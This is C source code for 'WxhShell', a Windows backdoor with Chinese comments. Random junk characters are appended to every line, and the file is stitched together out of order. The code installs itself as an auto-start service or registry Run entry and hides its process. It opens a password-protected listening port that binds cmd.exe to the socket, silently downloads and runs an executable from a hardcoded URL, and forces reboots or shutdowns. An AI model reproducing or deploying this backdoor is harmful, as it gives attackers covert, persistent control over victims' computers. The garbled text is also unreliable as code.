    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vh &GIb  
    else { aM$\#Cx  
    closesocket(wsh); k^^:;OR  
    ExitThread(0); W}h|K:-S  
    } _9NVE|c;  
    break; l)Zs-V!M^\  
    } =2,0Wo]$  
  // 获取shell ]ZTcOf  
  case 's': { >Rt9xP  
    CmdShell(wsh); M/{g(|{  
    closesocket(wsh); &3Tx@XhO  
    ExitThread(0); 5[4Z=RP  
    break; kJkxx*:u  
  } Fd7*]a  
  // 退出 [Uli>/%JB  
  case 'x': { oEu>}JD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pd~MiyO;K  
    CloseIt(wsh); ^mg*;8e Ga  
    break; f7J,&<<5w  
    } nLy#|C  
  // 离开 Kd3QqVJBz1  
  case 'q': { Fc8E Y*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %9o+zg? RJ  
    closesocket(wsh);   \&a.}t  
    WSACleanup(); kZVm1W1  
    exit(1); TY.FpW  
    break; K)S;:MLG=  
        } ni6r{eSQ  
  } aq Mc6N`z  
  } \dq!q=b\  
g{>^`JtP  
  // 提示信息 -[R!O'N9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s&'BM~WI  
} 7byCc_,  
  } "&lN\&:  
G#[* |+f8  
  return; ? _ <[T  
} o>c ^aRZ{  
&Y7C0v  
// shell模块句柄 = .oHnMX2M  
int CmdShell(SOCKET sock) MJ\[Dt  
{ jtKn3m7 +p  
STARTUPINFO si; RY=1H  
ZeroMemory(&si,sizeof(si)); aMK~1]Cx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; },c,30V'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wAYB RY[  
PROCESS_INFORMATION ProcessInfo; }!)F9r@\  
char cmdline[]="cmd"; ]hE="z=n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8)xt(~qF  
  return 0; iOqk*EL_r\  
} "tu*YNP\Q  
&ZJgQ-Pc(m  
// 自身启动模式 PlCc8Zy  
int StartFromService(void) 'v&}(  
{ N4UM82N  
typedef struct H4<Nnd\   
{ naNyGE7)  
  DWORD ExitStatus; o a<q/  
  DWORD PebBaseAddress; #c Kqnk  
  DWORD AffinityMask; &L4 q10-N  
  DWORD BasePriority; Ec]|p6a3  
  ULONG UniqueProcessId; onte&Ed\  
  ULONG InheritedFromUniqueProcessId; A6UO0lyu  
}   PROCESS_BASIC_INFORMATION; ^_>!B)  
|L:Cn J  
PROCNTQSIP NtQueryInformationProcess; m)&znLA  
3HiFISA*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l1+[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p-$Cs _{Z  
Bw< rp-  
  HANDLE             hProcess; H+Z SPHs  
  PROCESS_BASIC_INFORMATION pbi; BC/_:n8O  
gPEqjj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /8gL.i$  
  if(NULL == hInst ) return 0; |4b)>8TL/  
>HTbegi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -50AX1h31:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &ITuyGmF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < {ru|-9  
6*XM7'n  
  if (!NtQueryInformationProcess) return 0; J7&DR^.Sw  
py<_HyJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <GIwRVCU  
  if(!hProcess) return 0; jqcz\n d  
Utt>H@t[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /c-nE3+rn  
($!KzxF3  
  CloseHandle(hProcess); faJM^u  
f3PMVf:<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %XRN]tsu  
if(hProcess==NULL) return 0; .v`b[4M4  
t#~?{i@m  
HMODULE hMod; Hi,t@!!  
char procName[255]; R p.W,)i  
unsigned long cbNeeded; RA/EpD:H  
Q/^A #l[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XGs^rIf  
TZB+lj1  
  CloseHandle(hProcess); Dy9\O77>  
@h9MxCE!  
if(strstr(procName,"services")) return 1; // 以服务启动 UuJjO^t  
`y!/F?o+!  
  return 0; // 注册表启动 eti `O  
} )ly ^Ox  
\cySWP[  
// 主模块 jX */piSq  
int StartWxhshell(LPSTR lpCmdLine) fEnQE EU~P  
{ q&si%  
  SOCKET wsl; 3fkk [U  
BOOL val=TRUE; _ Jc2&(;  
  int port=0; mP}#Ccji?  
  struct sockaddr_in door; l I-p_K  
I3y9:4  
  if(wscfg.ws_autoins) Install(); Z`_.x &Y  
]n v( aM?d  
port=atoi(lpCmdLine); 6Z! y  
<[Oo*:A!7  
if(port<=0) port=wscfg.ws_port; $& {IKP)u  
$RO$}!  
  WSADATA data; w G!u+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LI W*4r!  
~brFo2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ClUSrSp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CjZ2z%||=  
  door.sin_family = AF_INET; =nRuY '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ijYvqZ_  
  door.sin_port = htons(port); 9f+RAN(  
?y%t}C\W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Re[ :qLa]  
closesocket(wsl); Ot9V< D6h  
return 1; &O1v,$}'  
} m4/er539T  
3Sh+u>w  
  if(listen(wsl,2) == INVALID_SOCKET) { hnxc`VX>g  
closesocket(wsl); JLm @Ag  
return 1; F[E? A95W  
} %_f;G+fK\p  
  Wxhshell(wsl); ef]B9J~h  
  WSACleanup(); ZF{~ih*^u  
=3'(A14C=  
return 0; aG27%(@  
V2 `> ]/|  
} JF9Hfs/jS  
=_-C%<4  
// 以NT服务方式启动 ycpE=fso'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XAD3Z?  
{ IN!02`H  
DWORD   status = 0; b9("DZW;  
  DWORD   specificError = 0xfffffff; N}Q FGX  
&3DK^|Lq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :5# V^\3*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q7a(P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pes =aw  
  serviceStatus.dwWin32ExitCode     = 0; Tov&68A~e  
  serviceStatus.dwServiceSpecificExitCode = 0; ! D1zXXq  
  serviceStatus.dwCheckPoint       = 0; A 7Y_HIo  
  serviceStatus.dwWaitHint       = 0; b! tludb  
m|4LbWz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BKb<2  
  if (hServiceStatusHandle==0) return; rc{o?U'^-  
buY D l  
status = GetLastError(); }76.6=~  
  if (status!=NO_ERROR) p;->hn~D'5  
{ #7W.s!#}Dd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w}k B6o]  
    serviceStatus.dwCheckPoint       = 0; kL;t8{n  
    serviceStatus.dwWaitHint       = 0;  W"qL-KW  
    serviceStatus.dwWin32ExitCode     = status; (%DRt4u <H  
    serviceStatus.dwServiceSpecificExitCode = specificError; *m&&1W_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCV rC  
    return; JlIS0hnv  
  } FfYsSq2l  
x# 8IZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !5.v'K'  
  serviceStatus.dwCheckPoint       = 0; ETelbj;0  
  serviceStatus.dwWaitHint       = 0; ^ f{qJ[,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1t2cY;vJ  
} 0/Q5d,'Y[2  
b]#~39Iph  
// 处理NT服务事件,比如:启动、停止 ?>?ZAr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /Ynt<S9"  
{ (Y;'[.  
switch(fdwControl) 0O; Z  
{ vnZ/tF  
case SERVICE_CONTROL_STOP: <2)v9c  
  serviceStatus.dwWin32ExitCode = 0; rC rr"O#j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q)dT(Td9~  
  serviceStatus.dwCheckPoint   = 0; C->[$HcRa  
  serviceStatus.dwWaitHint     = 0; Wa/geQE1<  
  { Y[,U_GX/R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }wL3mVz  
  } {~1M  
  return; V*uEJ6T  
case SERVICE_CONTROL_PAUSE: UP*yeT,P,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c#x7N9;"!  
  break; x`3. Wu\  
case SERVICE_CONTROL_CONTINUE: ,whM22Af~{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .m'N7`VB  
  break; w6v1 q:20  
case SERVICE_CONTROL_INTERROGATE: 't ;/,+:V  
  break; :z124Zf  
}; TP^\e_k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo]a'J9(  
} G`WzJS*}v  
J ZNyC!u  
// 标准应用程序主函数 bZnDd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nu(eLUU  
{ {{GHzW  
a6 * Y%?  
// 获取操作系统版本 9Mut p4#  
OsIsNt=GetOsVer(); *<;&>w8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BiI{8`M!$x  
:e52hK1[T  
  // 从命令行安装 @US '{hO1p  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z#[>N,P  
v.]'%+::#  
  // 下载执行文件 " gwm23Rpj  
if(wscfg.ws_downexe) { =b|)Wnt2f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a6OrE*x:D  
  WinExec(wscfg.ws_filenam,SW_HIDE); s+Cl  
} =7H.F:BBG  
&<#/&Pq/i  
if(!OsIsNt) { |)*m[_1  
// 如果时win9x,隐藏进程并且设置为注册表启动 >n#g9vK  
HideProc(); e(4bx5 <*  
StartWxhshell(lpCmdLine); (#CB q  
} M_|M&lR>  
else B44]NsYks~  
  if(StartFromService()) U_.n=d~B  
  // 以服务方式启动 B/:>{2cm  
  StartServiceCtrlDispatcher(DispatchTable); e=YO.HT  
else 1Qrm"TFo  
  // 普通方式启动 EgkZ$ah  
  StartWxhshell(lpCmdLine); s= 3EBh  
^?81.b|qb  
return 0; x Q@&W;  
} q\-xg*'  
O[3q9*(  
Cj`pw2.  
1"*Nb5s  
=========================================== )^V5*#69D  
c4FOfH|  
' |h./.K  
eYnLZ&H5O  
*8pe<:A#p  
~ `tJvUo0  
" n-L]YrDPK[  
"E4i >g  
#include <stdio.h> #S/pYP`7  
#include <string.h> 5)/4)0  
#include <windows.h> =[v2   
#include <winsock2.h> \xa36~hh40  
#include <winsvc.h> W]C_oh  
#include <urlmon.h> :y<Cd[/  
B h.6:9{  
#pragma comment (lib, "Ws2_32.lib") [rD+8,zVm  
#pragma comment (lib, "urlmon.lib") {H~8'K-  
#8WR{  
#define MAX_USER   100 // 最大客户端连接数 1+.y,}F6b  
#define BUF_SOCK   200 // sock buffer Hzk1LKsT#  
#define KEY_BUFF   255 // 输入 buffer ~7eUt^SD;  
>G w%r1)  
#define REBOOT     0   // 重启 TZ`]#^kU  
#define SHUTDOWN   1   // 关机 iq[2H$  
3P<Zzt%eT  
#define DEF_PORT   5000 // 监听端口 s\n,Z?m  
7,&3=R <  
#define REG_LEN     16   // 注册表键长度 ^$Me#ls!  
#define SVC_LEN     80   // NT服务名长度 =~(LJPo6  
[|P]St-  
// 从dll定义API ?U2g8D nFY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U:T5o]P<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k[^}ld[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yx`r;|ds}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NjCLL`?f  
e[|p0 ,Q  
// wxhshell配置信息 q>Ar.5&M_  
struct WSCFG { oM? C62g\  
  int ws_port;         // 监听端口 X/?h!Y}  
  char ws_passstr[REG_LEN]; // 口令 ?!Th-Cc&m  
  int ws_autoins;       // 安装标记, 1=yes 0=no n"Z,-./m  
  char ws_regname[REG_LEN]; // 注册表键名 1v8:,!C  
  char ws_svcname[REG_LEN]; // 服务名 Y/Gswcz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VN55!l'OV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J6?_?XzToT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FKvO7? K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L_CEY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tz \:r>3vI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pdXgr)Uv  
?X5glDZ$  
}; Y9c9/_CSj  
"e!$=;5  
// default Wxhshell configuration |^&2zyUj/  
struct WSCFG wscfg={DEF_PORT, e"&9G}.f  
    "xuhuanlingzhe", B?zS_Ue  
    1, 5eZg+ O  
    "Wxhshell", 2>_LX!kyP]  
    "Wxhshell", t$kf'An}/  
            "WxhShell Service", vp}>#&  
    "Wrsky Windows CmdShell Service", )LS+M_  
    "Please Input Your Password: ", %RR|QY*  
  1, 2K7:gd8Ru  
  "http://www.wrsky.com/wxhshell.exe", G^eFS;  
  "Wxhshell.exe" &>^Ympr  
    }; bD^ob.c.A  
i?s&\3--Y  
// 消息定义模块 o dQ&0d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eRWF7`HH+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tS.b5$Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fn0LE~O}-8  
char *msg_ws_ext="\n\rExit."; JbD)}(G;  
char *msg_ws_end="\n\rQuit."; 22(]x}`  
char *msg_ws_boot="\n\rReboot..."; #__'U6`(  
char *msg_ws_poff="\n\rShutdown..."; |$*9j""u  
char *msg_ws_down="\n\rSave to "; rgY?X$1q_  
m_O=X8uj"D  
char *msg_ws_err="\n\rErr!"; >j~70 ?  
char *msg_ws_ok="\n\rOK!"; KcyM2hE7  
n[p9$W`  
char ExeFile[MAX_PATH]; j*lWi0Z-  
int nUser = 0; _ .   
HANDLE handles[MAX_USER]; x6cl(J}  
int OsIsNt; |k9j )Hg(  
(DaP~*c3cC  
SERVICE_STATUS       serviceStatus; )k<~}wvQ0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aNf3 R;*  
lNnbd?D8  
// 函数声明 !urd $Ta  
int Install(void); T%vbD*nt.  
int Uninstall(void); )ZT0zIG  
int DownloadFile(char *sURL, SOCKET wsh); thboHPml{  
int Boot(int flag); s*U&[7P  
void HideProc(void); 3ncvM>~g  
int GetOsVer(void); MvwJ(3  
int Wxhshell(SOCKET wsl); UDqKF85H  
void TalkWithClient(void *cs); JM4`k8mM  
int CmdShell(SOCKET sock); -Ce4px?3  
int StartFromService(void); &ZFAUE,[  
int StartWxhshell(LPSTR lpCmdLine); lcJumV=%>  
${:$jX[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X{5DPhB,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hl~F1"q )  
?4||L8j2^  
// 数据结构和表定义 uWT&`m_(2  
SERVICE_TABLE_ENTRY DispatchTable[] = .T>}O0L"  
{ >~8Df61o`  
{wscfg.ws_svcname, NTServiceMain}, <Q~7a hF  
{NULL, NULL} t# {>y1[29  
}; i*E`<9  
$7 Uk;xV  
// 自我安装 3@bjIX`=H  
int Install(void) L#N.pd  
{ &H>dE]Hq,  
  char svExeFile[MAX_PATH]; FPFYH?;$  
  HKEY key; (:muxby%  
  strcpy(svExeFile,ExeFile); 51'SA B09  
-k{R<L  
// 如果是win9x系统,修改注册表设为自启动 D6:J*F&?  
if(!OsIsNt) { #IwB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =KD*+.'\/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VO6y9X"  
  RegCloseKey(key); NUtyUv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  aj B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U.0/r!po  
  RegCloseKey(key); \Y 4Z Q"0Q  
  return 0; ><7`$2Or  
    } RN| ..zml  
  } ea+rjvm  
} &3?yg61Ag  
else { Br!&Y9  
I]$d,N!.  
// 如果是NT以上系统,安装为系统服务 ?d)|vX3Uf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _q$ fw&  
if (schSCManager!=0) _x{x#d;L3  
{ N^N?!I  
  SC_HANDLE schService = CreateService ?R}oXSVT  
  ( @>j \~<%  
  schSCManager, __c_JU  
  wscfg.ws_svcname, h;M2yl Ou.  
  wscfg.ws_svcdisp, `:4cb $  
  SERVICE_ALL_ACCESS, rI789 q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  (RS:_]  
  SERVICE_AUTO_START, 4Pdk?vHK;  
  SERVICE_ERROR_NORMAL, 1ouTZ'c?  
  svExeFile, t}gqk'  
  NULL, YPEd XU8}  
  NULL, =SnR9In  
  NULL, |i8dI)b  
  NULL, PEl]HI_H  
  NULL b4ivWb|`  
  ); /B7 GH5  
  if (schService!=0) `s$@6r$  
  { S8,06/#  
  CloseServiceHandle(schService); d:''qgz`  
  CloseServiceHandle(schSCManager); (?[cDw/{J:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N!,l4!M\N  
  strcat(svExeFile,wscfg.ws_svcname); t79MBgZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uBgHtjmae  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B=Os?'2[  
  RegCloseKey(key); 78-:hk  
  return 0; s q KkTG3  
    } |O?Aj1g[c?  
  } Y<XDR:]A,  
  CloseServiceHandle(schSCManager); NM Ajt>t  
} KK?~i[aL  
} /<Et   
jGCW^#GE  
return 1; oH0\6:S  
} kuaov3Ui  
JGe;$5|q8  
// 自我卸载 Dr:}k*  
int Uninstall(void) {cA )jW\'  
{ yw0uF  
  HKEY key; :O%O``xT  
5;l_-0=  
if(!OsIsNt) { m.*+0NG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f@mM&e=f  
  RegDeleteValue(key,wscfg.ws_regname); uJ$,e5q  
  RegCloseKey(key); z6qC6Ck|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4hs4W,2!  
  RegDeleteValue(key,wscfg.ws_regname); "$&F]0  
  RegCloseKey(key); S}/CzQ  
  return 0; F t}tIP7  
  } !QovpO">z  
} THJ+OnP  
} DxBt83e  
else { o%.cQo=v*  
P,wJ@8lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (ni$wjq=z^  
if (schSCManager!=0) 0AEs+=  
{ or<JjTJ\o_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .H&;pOf  
  if (schService!=0) L{ -w9(S`i  
  { `3-j%H2R  
  if(DeleteService(schService)!=0) { k#.co~kS  
  CloseServiceHandle(schService); P<hqr;  
  CloseServiceHandle(schSCManager); i469<^A  
  return 0; {e^llfj$#  
  } ]V_9[=%  
  CloseServiceHandle(schService); ]~P?  
  } =h)H`  
  CloseServiceHandle(schSCManager); $ ]HIYYs  
} ?9mY #_Of  
} +*dJddz   
2g$Wv :E3  
return 1; 7~',q"4P/_  
} JnZxP> 2B  
]k8XLgJ  
// 从指定url下载文件 ?|33Np)  
int DownloadFile(char *sURL, SOCKET wsh) ^\!p ;R  
{ ;@L#0  
  HRESULT hr; zehF/HBzE  
char seps[]= "/"; dM') < lF  
char *token; Dt ?Fs  
char *file; qfu;X-$4  
char myURL[MAX_PATH]; Czp:y8YX-  
char myFILE[MAX_PATH]; 1/m/Iw@  
)Mok$  
strcpy(myURL,sURL); 'Zzm'pC  
  token=strtok(myURL,seps); fq(e~Aqw$  
  while(token!=NULL) S("bN{7nE  
  { =Yfs=+O  
    file=token; /[q@=X&  
  token=strtok(NULL,seps); E.}Zmr#H  
  } ZG>OT@ GA  
!cpBX>{w  
GetCurrentDirectory(MAX_PATH,myFILE); YJ9_cA'A  
strcat(myFILE, "\\"); u4 "+u"{d  
strcat(myFILE, file); @dXf_2Tv=  
  send(wsh,myFILE,strlen(myFILE),0); ':,LZ A8A  
send(wsh,"...",3,0); m$^7sFD$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  84{<]y  
  if(hr==S_OK)  v/.2Z(sZ  
return 0; p.%$  
else _)|!.r&)63  
return 1; TnG"_VK9R  
OLi;/(g  
} AL;"S;8  
t@Jo ?0s  
// 系统电源模块 *~vRbD$q  
int Boot(int flag) 0Zq" -  
{ YMWy5 \  
  HANDLE hToken; i{8=;  
  TOKEN_PRIVILEGES tkp; :!/}*B  
]oY~8HW  
  if(OsIsNt) { %*uqtw8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iZ:-V8{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !nu['6I%  
    tkp.PrivilegeCount = 1; l}wBthwCc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [9L(4F20  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^R\blJQ<^  
if(flag==REBOOT) { WULj@ds\~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x:2_FoQ  
  return 0; QdRMp n}q  
} Re2kD/S3  
else { D|S)/o6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o ).pF">jh  
  return 0; JdAjKN  
} we@bq,\w  
  } H!A^ MI   
  else { 9\;EX  
if(flag==REBOOT) { ks{s Q@~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v`fUAm/  
  return 0;  2AluH8X/  
} J h"]iN  
else { A(uN=r@O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )dV.A IQ+  
  return 0; Mqpo S  
} #4hP_Vhc  
} ~\^8 ^  
@@$ _TaI  
return 1; oacY-&  
} XkD_SaL}  
7%<jZ =  
// win9x进程隐藏模块 (-#{qkA  
void HideProc(void) 3S9~rLrn?  
{ lN&GfPP6  
N+tS:$V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RS1oPY  
  if ( hKernel != NULL ) 3_-#  
  { y5#_@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N.<hZ\].=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XC$~!  
    FreeLibrary(hKernel); =_86{wlk  
  } F&P)mbz1  
`Ctj]t  
return; =Dz[|$dV  
} -1o1k-8d  
w7C=R8^  
// 获取操作系统版本 C+k>Ajr  
int GetOsVer(void) E% 'DIs  
{ ,i|f8pZ  
  OSVERSIONINFO winfo; }8SHw|-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |( V3  
  GetVersionEx(&winfo); Nh))U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +~@Y#>+./l  
  return 1; 26**tB<  
  else Dmw,Bi*  
  return 0; 7'I7   
} _H,RcpyJ  
Wama>dy%  
// 客户端句柄模块 /[s$A?  
int Wxhshell(SOCKET wsl) $CmTsnR1#y  
{ wnX6XyUH  
  SOCKET wsh; j{=%~  
  struct sockaddr_in client; Ixw,$%-]y6  
  DWORD myID; _=] FJhO  
+M*a.ra0OF  
  while(nUser<MAX_USER) H,}?YW  
{ D H^^$)  
  int nSize=sizeof(client); 6yb<4@LOb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [h1{{Nb#ez  
  if(wsh==INVALID_SOCKET) return 1; IFY !3^;zO  
%c0;Bb-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KkY22_{ac  
if(handles[nUser]==0) mAzW'Q4D  
  closesocket(wsh); 8`2K=`]ES+  
else Oc.>$  
  nUser++; &u8c!;y$b  
  } H[r0jREK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q?@G>uz  
2?j1~]DvZ  
  return 0; H/$q]i*#K  
} *C BCQp[$  
4Z] 35*  
// 关闭 socket w(D9'  
void CloseIt(SOCKET wsh) s,Swlo7D!  
{ m 5Kx}H~  
closesocket(wsh); @-}]~|<  
nUser--; ooQ(bF  
ExitThread(0); U4gwxK  
} .Dm{mV@*T  
B pT&vbY  
// 客户端请求句柄 W=?87PkJu  
void TalkWithClient(void *cs) vknFtpx  
{ 0^[6  
,)1e+EnV&  
  SOCKET wsh=(SOCKET)cs; OT i3T1&  
  char pwd[SVC_LEN]; 3:Wr)>l}#  
  char cmd[KEY_BUFF]; mQd?Tyvn  
char chr[1]; R 28*  
int i,j; P{18crC[1  
3)Y:c2  
  while (nUser < MAX_USER) { $ *A3p  
IJ; *N  
if(wscfg.ws_passstr) { L ]c9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LS'=>s"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hea<!zPH  
  //ZeroMemory(pwd,KEY_BUFF); ?C35   
      i=0; #9OP.4  
  while(i<SVC_LEN) { *.g?y6d  
P hu| hx<  
  // 设置超时 _+iz?|U  
  fd_set FdRead; <>s\tJ  
  struct timeval TimeOut; UmX[=D|  
  FD_ZERO(&FdRead); Ck?:8YlF  
  FD_SET(wsh,&FdRead); Z"X*FzFo  
  TimeOut.tv_sec=8; 3:1 c_   
  TimeOut.tv_usec=0; u(702S4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }3w b*,Sbz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8[;oUVb5  
"~C#DZwt{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R"`{E,yj  
  pwd=chr[0]; ;NE/!!  
  if(chr[0]==0xd || chr[0]==0xa) { -FV'%X$i  
  pwd=0; u^%')Ncp  
  break; 2j1v.%  
  } XWpnZFjE  
  i++; |wQZ~Ux:  
    } TZNgtR{q  
/ LM  
  // 如果是非法用户,关闭 socket E^a `IA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kTW g31]~  
} Eu.qA9,@U  
=@=R)C4f*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); es+_]:7B9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ok%!o+nk.  
cE5Zxcn  
while(1) { myOX:K*  
oh0|2IrM  
  ZeroMemory(cmd,KEY_BUFF); x*8f3^ wE  
zN/~a)  
      // 自动支持客户端 telnet标准   hRIS [#z;U  
  j=0; Y zW7;U S  
  while(j<KEY_BUFF) { I{e^,oc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I7z/GA\x  
  cmd[j]=chr[0]; ugCS &  
  if(chr[0]==0xa || chr[0]==0xd) { c_$&Uii  
  cmd[j]=0; np\2sa`  
  break; 8t: &#h  
  } !riMIl1  
  j++; 0gD59N'C  
    } wU)5Evp[  
76Vyhf&7  
  // 下载文件 _JJKbi  
  if(strstr(cmd,"http://")) { bL],KW;Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0$ 9;p zr  
  if(DownloadFile(cmd,wsh)) [S&O-b8A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Am%a4{b  
  else ^Xy$is3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gq_7_Y/  
  } K1/gJ9+(\  
  else { |8qK%n f}  
`TD%M`a  
    switch(cmd[0]) { >+jbMAYSq  
  eIUuq&(  
  // 帮助 A6UdWK  
  case '?': { :7Z\3_D/  
